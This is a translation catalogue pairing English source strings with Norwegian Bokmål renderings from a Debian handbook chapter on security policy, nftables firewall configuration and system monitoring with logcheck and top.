0 - en to nb-NO translation catalogue (348 entries)

en: Firewall
nb-NO: Brannmur

en: Netfilter
nb-NO: Nettfilter

en: Security
nb-NO: Sikkerhet

en: An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
nb-NO: Et informasjonssystem kan ha varierende viktighet avhengig av omgivelsene. Noen ganger kan det være livsviktig for bedriftens overlevelse, og må derfor beskyttes mot forskjellige former for risiko. Prosessen med å evaluere disse risikoene, definere og implementere beskyttelsesmekanismer, kalles med et fellesord «sikkerhetsprosessen».

en: Defining a Security Policy
nb-NO: Å definere et sikkerhetsopplegg

en: <emphasis>CAUTION</emphasis> Scope of this chapter
nb-NO: <emphasis>VÆR VARSOM</emphasis> Hensikten/omfanget med dette kapittelet

en: Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject.
nb-NO: Datasikkerhet (eng: security) er et stort og følsomt tema, som ikke på langt nær kan beskrives fullstendig i bare ett kapittel. Vi vil bare framheve noen få viktige punkter, og beskrive noen av verktøyene og metodene som kan nyttes på dette feltet. For videre lesning mangler det ikke på bøker øremerket til temaet.

en: The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
nb-NO: Ordet «sikkerhet» dekker et vidt spekter av konsepter, verktøy, og prosedyrer; ingen av dem dekker alle aspekter. Å velge mellom dem krever en presis idé om hvilke mål man vil oppnå. Å sikre et system starter med å svare på noen få spørsmål. Raser man avgårde, og implementerer et vilkårlig sett av tiltak, risikerer man å fokusere på feil ting.

en: The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
nb-NO: Den absolutt første tingen å avgjøre er derfor målet. En god tilnærming til å hjelpe til med denne avgjørelsen er å starte med disse spørsmålene:

en: <emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.
nb-NO: <emphasis>Hva</emphasis> prøver man å beskytte? Sikkerhetsopplegget vil være forskjellig avhengig av om man vil beskytte maskiner eller data. I sistnevnte tilfelle må vi også vite hvilke data.

en: What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?
nb-NO: Hva prøver vi å beskytte <emphasis>mot</emphasis>? Er det lekkasje av sensitive data? Tap av data? Tap av inntekt som følge av forstyrrelser i tjenesten?

en: Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.
nb-NO: Dessuten, <emphasis>hvem</emphasis> prøver vi å beskytte oss mot? Sikkerhetstiltakene vil variere stort mellom det å beskytte mot skrivefeil fra brukeren av systemet, og angrep fra motiverte grupper utenfra.

en: <primary>security</primary><secondary>risk</secondary>
nb-NO: <primary>sikkerhets</primary><secondary>risiko</secondary>

en: The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
nb-NO: Ordet «risiko», i sikkerhetsøyemed, brukes gjerne som samlebegrep for disse tre faktorene: Hva som må beskyttes, hva som må hindres fra å skje, og hvem som det må beskyttes mot. Å modellere risikoen krever svar på disse tre spørsmålene. Utfra en slik risikomodell kan et sikkerhetsopplegg konstrueres, og dette kan implementeres gjennom konkrete tiltak.

en: <emphasis>NOTE</emphasis> Permanent questioning
nb-NO: <emphasis>MERK</emphasis> Løpende vurdering

en: Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
nb-NO: Bruce Schneier, en verdenskjent sikkerhetsekspert (ikke bare på datasikkerhet), prøver å avlive en av de største mytene innen sikkerhet ved å si: «Sikkerhet er en prosess, ikke et produkt». Verdier som må beskyttes endrer seg over tid; det samme gjør truslene og tilgjengelige ressurser for mulige angripere. Selv om et sikkerhetsopplegg opprinnelig er perfekt konstruert og implementert, kan man ikke hvile på sine laurbær. Risikomomentene endrer seg, og da må tiltakene henge med.

en: Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
nb-NO: Andre begrensninger er også verdt å tenke på, ettersom de kan sette grenser for tilgjengelige sikkerhetsopplegg. Hvor langt er man villig til å gå for å sikre systemet? Dette spørsmålet har store konsekvenser for hva som skal implementeres. Det besvares altfor ofte kun utfra økonomi, selv om andre kriterier også bør tas i betraktning, som ulemper som påføres brukeren, og tap av ytelse.

en: Once the risk has been modeled, one can start thinking about designing an actual security policy.
nb-NO: Først når risikoen er kartlagt, kan man begynne å tenke på å lage et konkret sikkerhetsopplegg.

en: <emphasis>NOTE</emphasis> Extreme policies
nb-NO: <emphasis>MERK</emphasis> Ekstreme tiltak

en: There are cases where the choice of actions required to secure a system is extremely simple.
nb-NO: Det er tilfeller hvor valget av tiltak som kreves for å sikre et system, er ekstremt enkle.

en: For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
nb-NO: For eksempel, hvis systemet som skal sikres, bare består av en gammel brukt maskin som kun anvendes til å legge sammen noen tall på slutten av dagen, ville det antakelig være helt legitimt å ikke gjøre noen ting. Verdien som ligger i systemet er lav, og det er ingen verdi i dataene, ettersom de ikke lagres på maskinen. En potensiell angriper ville bare få tilgang til en uhåndterlig kalkulator. Kostnaden ved å sikre et slikt system ville sannsynligvis overstige kostnaden ved et eventuelt tap/brudd.

en: At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
nb-NO: I motsatt ende av spekteret, hvis konfidensialitet av hemmelige data trumfer alle andre hensyn, vil en riktig respons kunne være å destruere dataene så grundig som mulig (overskriving, sletting av dataene mange ganger, for så å løse harddisken opp i syrebad, osv). Hvis det i tillegg kreves at dataene skal oppbevares for framtidig bruk (ikke nødvendigvis på kort varsel), og kostnad fortsatt ikke er en faktor, vil et hensiktsmessig startpunkt være å lagre dataene på plater av en iridium-platinum-legering i bombesikre bunkere under forskjellige fjell omkring i verden, alle selvsagt både hemmelige og bevoktede med hver sin hær …

en: Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.
nb-NO: Selv så ekstreme disse eksemplene fremstår samsvarer de likevel som respons for sine definerte risikoer, i den grad de er produktet av en tankeprosess som har tatt hensyn til målene man ønsker å oppnå, og begrensningene som må oppfylles. Gitt opphav i en velinformert rasjonell beslutning, er intet sikkerhetsopplegg mindre respektabelt enn et annet.

en: In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
nb-NO: I de fleste tilfeller kan informasjonssystemet segmenteres i konsistente og stort sett uavhengige subsett. Hvert subsystem vil ha sine egne krav og begrensninger, så risikovurderingen og utformingen av sikkerhetsopplegget bør gjøres separat for hvert subsystem. Et godt prinsipp å huske på er at en kort og veldefinert forsvarslinje er enklere å forsvare enn en lang og buktende en. Nettverksorganisasjonen bør også utformes tilsvarende; sensitive tjenester bør konsentreres på et lite antall maskiner, og disse maskinene bør bare være tilgjengelige via et minimalt antall innfallsporter; beskytting av disse innfallsportene vil være enklere enn å beskytte alle de sensitive maskinene mot den store utenomverdenen. Det er her nettverksfiltrering (inkludert brannmurer) kommer inn. Denne filtreringen kan implementeres med dedikert maskinvare, men en mulig enklere og mer fleksibel løsning er å bruke en programvarebrannmur, som den som er integrert i Linux-kjernen.

en: Firewall or Packet Filtering
nb-NO: Brannmur eller pakkefiltrering

en: <primary>firewall</primary>
nb-NO: <primary>brannmur</primary>

en: <primary>packet</primary><secondary>filter</secondary><seealso>firewall</seealso>
nb-NO: <primary>pakke</primary><secondary>filter</secondary><seealso>brannmur</seealso>

en: <emphasis>BACK TO BASICS</emphasis> Firewall
nb-NO: <emphasis>DET GRUNNLEGGENDE</emphasis> Brannmur

en: <primary>packet</primary><secondary>IP</secondary>
nb-NO: <primary>pakke</primary><secondary>IP</secondary>

en: A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
nb-NO: En <emphasis>brannmur</emphasis> er et stykke datautstyr med maskinvare og/eller programvare som sorterer innkommende og utgående nettverkspakker (som kommer til eller fra et lokalt nettverk), og bare slipper gjennom de som samsvarer med visse forhåndsbestemte betingelser.

en: A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
nb-NO: En brannmur er en filtrerende nettverkspassasje, og er bare effektiv på pakker som må gå gjennom den. Den kan derfor bare være effektiv når den eneste ruten for disse pakkene er gjennom brannmuren.

en: <emphasis>SPECIFIC CASE</emphasis> Local Firewall
nb-NO: <emphasis>SPESIFIKT TILFELLE</emphasis> Lokal brannmur

en: <emphasis>TOOLS</emphasis> fwbuilder and ufw
nb-NO: <emphasis>VERKTØY</emphasis> fwbuilder og ufw

en: A script usually needs to be written by hand. But there are, tools that make it simpler to configure the <emphasis>netfilter</emphasis> firewall, with a graphical representation of the filtering rules. <command>fwbuilder</command> is undoubtedly among the best of them. The rules are created with simple drag-and-drop actions on objects (interfaces, networks, ports, servers, etc.). A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured.
nb-NO: Et skript må vanligvis skrives for hånd. Det finnes verktøy som gjør det enklere å sette opp, som f.eks. <emphasis>netfilter</emphasis>-brannmuren, med grafisk representasjon av filtreringsreglene. <command>fwbuilder</command> er utvilsomt blandt de beste. Reglene opprettes med enkle dra-og-slipp -handlinger av objekter (grensesnitt, nettverk, porter, tjenere, osv.). En del bindeleddsmenyer kan endre tilstanden (å forhindre den f.eks.). Deretter må handlingen velges og settes opp.

en: To enable a default firewall in Debian execute:
nb-NO: Slik aktiverer du en forvalgt brannmur i Debian:

en: nftables Behavior
nb-NO: nftables-oppførsel

en: A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter.
nb-NO: En god forståelse av lagene 3, 4 og 5 av OSI (Open Systems Interconnection)-modellen er avgjørende for å få mest mulig ut av netfilter.

en: <emphasis>CULTURE</emphasis> The OSI model
nb-NO: <emphasis>KULTUR</emphasis> OSI modellen

en: <primary>OSI</primary><secondary>model</secondary>
nb-NO: <primary>OSI</primary><secondary>modell</secondary>

en: The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.
nb-NO: OSI-modellen er en konseptuell modell til å implementere nettverksprotokoller uten hensyn til den underliggende interne strukturen og teknologien. Dens mål er interoperatibilitet med ulike kommunikasjonssystemer med standard-kommunikasjonsprotokoller.

en: This model was defined in the standard ISO/EIC 7498. The following seven layers are described:
nb-NO: Denne modellen ble definert i standarden «ISO/EIC 7498». De følgende syv lagene er beskrevet:

en: Physical: transmission and reception of raw bit streams over a physical medium
nb-NO: Fysisk: overføring og mottak av rå bit-strømmer over et fysisk medium

en: Data Link: reliable transmission of data frames between two nodes connected by a physical layer
nb-NO: Datalink: pålitelig overføring av datarammer mellom to noder forbundet av et fysisk lag

en: Network: structuring and managing a multi-node network, including addressing, routing and traffic control
nb-NO: Nettverk: strukturering og administrasjon av et multinodenettverk, inkludert adressering, ruting og trafikkontroll

en: Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing
nb-NO: Transport: pålitelig overføring av datasegmenter mellom punkter i et nettverk, inkludert oppdeling, godkjenning og multipleksing

en: Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes
nb-NO: Sesjon: Administrering av kommunikasjonsøkter, det vil si kontinuerlig utveksling av info i form av sammensatte frem- og tilbakeoverføringer mellom to noder

en: Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption
nb-NO: Presentasjon: oversettelse av data mellom en nettverkstjeneste og et program; inkludert tegnkoding, datakomprimering og kryptering/dekryptering

en: <primary>firewall</primary><secondary>tables</secondary>
nb-NO: <primary>brannmur</primary><secondary>tabeller</secondary>

en: <primary>firewall</primary><secondary>rules</secondary>
nb-NO: <primary>brannmur</primary><secondary>regler</secondary>

en: The firewall is configured with <emphasis>tables</emphasis>, which hold <emphasis>rules</emphasis> contained in <emphasis>chains</emphasis>. Unlike iptables, <emphasis>nftables</emphasis> does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> and <literal>bridge</literal>. <literal>ip</literal> is used if the family is not specified.
nb-NO: Brannmuren er satt opp med <emphasis>tables</emphasis>, som inneholder <emphasis>rules</emphasis> som finnes i <emphasis>chains</emphasis>. I motsetning til iptables har <emphasis>nftables</emphasis> ingen standardtabell. Brukeren bestemmer hvilke og hvor mange tabeller som skal opprettes. Hver tabell må bare ha én av følgende fem familier tildelt: <literal>ip</literal>, <literal>ip6</literal>, <literal>inet</literal>, <literal>arp</literal> og <literal>bridge</literal>. <literal>ip</literal> brukes hvis familien ikke er angitt.

en: <primary>chain</primary>
nb-NO: <primary>kjede</primary>

en: Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal> and <literal>goto chain</literal>.
nb-NO: Regler er laget av uttrykk, som inkluderer noen uttrykk som skal sammenlignes, og deretter en domsavgjørelse, som <literal>accept</literal>, <literal>drop</literal>, <literal>queue</literal>, <literal>continue</literal>, <literal>return</literal>, <literal>jump chain</literal> og <literal>goto chain</literal>.

en: <primary>rule</primary>
nb-NO: <primary>regel</primary>

en: <emphasis>BACK TO BASICS</emphasis> ICMP
nb-NO: <emphasis>DET GRUNNLEGGENDE</emphasis> ICMP

en: For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
nb-NO: For referanse: En mottaksbuffer er en liten minnesone som lagrer data fra den tiden den kommer fra nettverket, og til den tid kjernen håndterer den. Hvis denne sonen er full, kan nye data ikke mottas, og ICMP signaliserer problemet, slik at senderen kan bremse ned sin overføringshastighet (som ideelt sett bør nå en likevekt etter en tid).

en: <primary>receive buffer</primary>
nb-NO: <primary>mottaksbuffer </primary>

en: <primary>buffer</primary><secondary>receive buffer</secondary>
nb-NO: <primary>buffer</primary><secondary>mottaksbuffer</secondary>

en: Moving from iptables to nftables
nb-NO: Overgang fra iptables til nftables

en: The tools <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command>, <command>ebtables-nft</command> are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility.
nb-NO: Verktøyene <command>iptables-nft</command>, <command>ip6tables-nft</command>, <command>arptables-nft</command> og <command>ebtables-nft</command> er versjoner av iptables som bruker NFTables-API-et, slik at brukerne kan fortsette å bruke den gamle iptables-syntaksen med dem, men det anbefales ikke; disse verktøyene bør kun brukes for bakoverkompatibilitet.

en: Syntax of <command>nft</command>
nb-NO: Syntaksen til <command>nft</command>

en: The <command>nft</command> commands allow manipulating tables, chains and rules. The <literal>table</literal> option supports multiple operations: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> and <literal>flush</literal>. <command>nft add table ip6 mangle</command> adds a new table from the family <literal>ip6</literal>.
nb-NO: <command>nft</command>-kommandoene lar en manipulere tabeller, kjeder og regler. Alternativet <literal>table</literal> støtter flere operasjoner: <literal>add</literal>, <literal>create</literal>, <literal>delete</literal>, <literal>list</literal> og <literal>flush</literal>. <command>nft add table ip6 mangle</command> legger til en ny tabell fra <literal>ip6</literal>-familien.

en: To insert a new base chain to the <literal>filter</literal> table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):
nb-NO: Hvis du vil sette inn en ny grunnkjede i tabellen <literal>filter</literal>, kan du utføre følgende kommando (vær oppmerksom på at semikolonet må beskyttes med en omvendt skråstrek når du bruker Bash):

en: Rules are usually added with the following syntax: <command>nft add rule [<replaceable>family</replaceable>] <replaceable>table</replaceable> <replaceable>chain</replaceable> handle <replaceable>handle</replaceable> statement</command>.
nb-NO: Regler legges vanligvis til med følgende syntaks: <command>nft add rule [<replaceable>family</replaceable>] <replaceable>table</replaceable> <replaceable>chain</replaceable> handle <replaceable>handle</replaceable> statement</command>.

en: <command>insert</command> is similar to the <command>add</command> command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:
nb-NO: <command>insert</command> ligner på <command>add</command>-kommandoen, men den gitte regelen blir lagt til i begynnelsen av kjeden eller før regelen med den angitte referansen i stedet for på slutten eller etter denne regelen. Følgende kommando setter for eksempel inn en regel foran regelen med referansenummer 8:

en: The executed <command>nft</command> commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in <filename>/etc/nftables.conf</filename>. A simple way to save the current firewall configuration permanently is to execute <command>nft list ruleset &gt; /etc/nftables.conf</command> as root.
nb-NO: De utførte kommandoene <command>nft</command> gjør ikke permanente endringer i oppsettet, så de går tapt hvis de ikke lagres. Brannmurreglene er plassert i <filename>/etc/nftables.conf</filename>. En enkel måte å lagre det gjeldende brannmuroppsettet permanent, er å kjøre <command>nft list ruleset &gt; /etc/nftables.conf</command> som rot-bruker.

en: <command>nft</command> allows many more operations, refer to its manual page <citerefentry><refentrytitle>nft</refentrytitle> <manvolnum>8</manvolnum></citerefentry> for more information.
nb-NO: <command>nft</command> tillater mange flere operasjoner, sjekk den tilhørende manualsiden <citerefentry><refentrytitle>nft</refentrytitle><manvolnum>8</manvolnum></citerefentry> for mer info.

en: Installing the Rules at Each Boot
nb-NO: Å installere reglene ved hver oppstart

en: <primary>service</primary><secondary><filename>nftables.service</filename></secondary>
nb-NO: <primary>tjeneste</primary><secondary><filename>nftables.service</filename></secondary>

en: In other cases, the recommended way is to register the configuration script in <literal>up</literal> directive of the <filename>/etc/network/interfaces</filename> file. In the following example, the script is stored under <filename>/usr/local/etc/arrakis.fw</filename>.
nb-NO: I andre tilfeller er den anbefalte måten å registrere skriptet i <literal>up</literal>-direktiv hos <filename>/etc/network/interfaces</filename>-filen. I det følgende eksemplet er skriptet lagret under <filename>/usr/local/etc/arrakis.fw</filename>.

en: <filename>interfaces</filename> file calling firewall script
nb-NO: <filename>interfaces</filename>-fil (grensesnittsfil) som påkaller et brannmursskript

en: This obviously assumes that you are using <emphasis role="pkg">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
nb-NO: Dette forutsetter selvsagt at du bruker <emphasis role="pkg">ifupdown</emphasis> til å sette opp nettverksgrensesnittet. Hvis du bruker noe annet (som <emphasis>NetworkManager</emphasis> eller <emphasis>systemd-networkd</emphasis>), les deretter deres respektive dokumentasjon for å finne ut måter til å kjøre et skript, etter at grensesnittet har blitt tatt opp.

en: Supervision: Prevention, Detection, Deterrence
nb-NO: Tilsyn: Forebygging, avdekking, avskrekking

en: <primary>monitoring</primary>
nb-NO: <primary>monitorering</primary>

en: Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend="sect.monitoring" />.
nb-NO: Monitorering er en integrert del av ethvert sikkerhetsopplegg av flere grunner. Blant dem er at målet om sikkerhet vanligvis ikke er begrenset til å garantere datakonfidensialitet, men det inkluderer også å sikre tjenestenes tilgjengelighet. Det er derfor viktig å sjekke at alt fungerer som forventet, og å i tide oppdage avvikende atferd eller endring i kvaliteten på tjenesten(e) som blir levert. Å følge med på det som skjer kan bidra til å oppdage inntrengningsforsøk, og muliggjøre en rask reaksjon før de forårsaker alvorlige konsekvenser. Denne delen vurderer noen verktøy som kan brukes til å følge med på flere aspekter av et Debian-system. Som sådan, fullfører den <xref linkend="sect.monitoring" />.

en: Monitoring Logs with <command>logcheck</command>
nb-NO: Monitorering av logger med <command>logcheck</command>

en: <primary>monitoring</primary><secondary>log files</secondary>
nb-NO: <primary>monitorering</primary><secondary>loggfiler</secondary>

en: The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
nb-NO: Programmet <command>logcheck</command> sjekker i utgangspunktet loggfiler hver time. Det sender uvanlige loggmeldinger i e-post til administratoren for videre analyse.

en: The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled.
nb-NO: Listen over filer som sjekkes er lagret i <filename>/etc/logcheck/logcheck.logfiles</filename>; standardverdiene fungerer fint hvis <filename>/etc/rsyslog.conf</filename>-filen ikke har blitt fullstendig skrevet om.

en: <command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
nb-NO: <command>logcheck</command> kan arbeide i en av tre mer eller mindre detaljerte modi: <emphasis>paranoid</emphasis>, <emphasis>tjener</emphasis> og <emphasis>arbeidsstasjon</emphasis>. Den første er <emphasis>veldig</emphasis> ordrik, og bør nok være begrenset til bestemte tjenere slike som brannmurer. Den andre (og standard) modus anbefales for de fleste tjenere. Den siste er beregnet for arbeidsstasjoner, og er mer finslipt (den filtrerer ut flere meldinger).

en: In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read.
nb-NO: I alle tre tilfellene bør nok <command>logcheck</command> være tilpasset for å utelukke noen ekstra meldinger (avhengig av installerte tjenester), med mindre admin virkelig hver time ønsker å motta grupper av lange uinteressante e-poster. Siden utvalgsmekanismen for meldinger er ganske komplisert, er filen <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> anbefalt lesning, men utfordrende.

en: The applied rules can be split into several types:
nb-NO: De anvendte reglene kan deles inn i flere typer:

en: those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);
nb-NO: de som kvalifiserer en melding som et inntrengningsforsøk (lagret i en fil i <filename>/etc/logcheck/cracking.d/</filename>-mappen);

en: those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);
nb-NO: de som de avbryter slik kvalifisering (<filename>/etc/logcheck/cracking.ignore.d/</filename>);

en: those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);
nb-NO: de som klassifiserer en melding som en sikkerhetsadvarsel (<filename>/etc/logcheck/violations.d/</filename>);

en: those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);
nb-NO: de som avbryter denne klassifiseringen (<filename>/etc/logcheck/violations.ignore.d/</filename>);

en: finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>).
nb-NO: til slutt, de som andvendes til de gjenstående budskapene (ansett som <emphasis>systemhendelser</emphasis>).

en: <emphasis>CAUTION</emphasis> Ignoring a message
nb-NO: <emphasis>VÆR VARSOM</emphasis> Å ignorere et budskap

en: Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file.
nb-NO: Alle meldinger merket som et inntrengningsforsøk eller en sikkerhetsadvarsel (etter en regel lagret i en <filename>/etc/logcheck/violations.d/myfile</filename>-fil), kan bare ignoreres med en regel i en fil som <filename>/etc/logcheck/violations.ignore.d/myfile</filename> eller <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>forlengelse</replaceable></filename>.

en: A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
nb-NO: En systemhendelse signaliseres alltid, med mindre en regel i en av <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename>-mappene fastslår at handlingen skal ignoreres. Det er selvfølgelig at de eneste mapper som tas i betraktning, er de som tilsvarer et detaljnivået likt eller større enn den valgte driftsmodus.

en: Monitoring Activity
nb-NO: Aktivitetsmonitorering

en: <primary>monitoring</primary><secondary>activity</secondary>
nb-NO: <primary>monitorering</primary><secondary>aktivitet</secondary>

en: <primary>activity, monitoring</primary>
nb-NO: <primary>aktivitet, monitorering</primary>

en: In Real Time
nb-NO: I sanntid

en: <command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority.
nb-NO: <command>top</command> er et interaktivt verktøy som viser en liste over kjørende prosesser. Forvalgt sortering er basert på gjeldende mengde prosessorbruk, og aktiveres med <keycap>P</keycap>-tasten. Andre sorteringsrekkefølger inkluderer minnebruk (<keycap>M</keycap>-tasten), samlet prosessortid (<keycap>T</keycap>-tasten), og etter prosess-ID (<keycap>N</keycap>-tasten). <keycap>k</keycap>-tasten tillater stopping av en prosess ved å oppgi prosess-ID. Tasten <keycap>r</keycap> lar en endre nice-verdi (på engelsk også kalt <emphasis>renicing</emphasis>) på en prosess, som betyr å endre dens prioritet.

en: When the system seems to be overloaded, <command>top</command> is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.
nb-NO: Når systemet ser ut til å være overbelastet, er <command>top</command> et flott verktøy for å se hvilke prosesser som konkurrerer om prosessortid, eller bruker for mye minne. Spesielt er det ofte interessant å sjekke om de prosessene som bruker ressurser, samsvarer med reelle tjenester som maskinen faktisk tjener som vertskap for. En ukjent prosess som kjører som brukeren www-data, skal virkelig skille seg ut og undersøkes, da den sannsynligvis er et tilfelle av at programvare er installert og kjørt på systemet via en sårbarhet i et nett-program.

en: <command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
nb-NO: <command>top</command> er et svært fleksibelt verktøy, og den tilhørende manualsiden informerer om hvordan man tilpasser skjermen til personlige behov og vaner.

en: The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features.
nb-NO: <command>gnome-system-monitor</command>-grafiske verktøy ligner <command>top</command>, og gir grovt sett de samme egenskapene.

en: History
nb-NO: Historie

en: <primary>activity, history</primary>
nb-NO: <primary>aktivitet, historie</primary>

en: Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
nb-NO: Prosessorbelastning, nettverkstrafikk og ledig diskplass er informasjon som stadig varierer. Å beholde en historie med hvordan de endres er ofte nyttig for å bestemme nøyaktig hvordan datamaskinen brukes.

en: There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
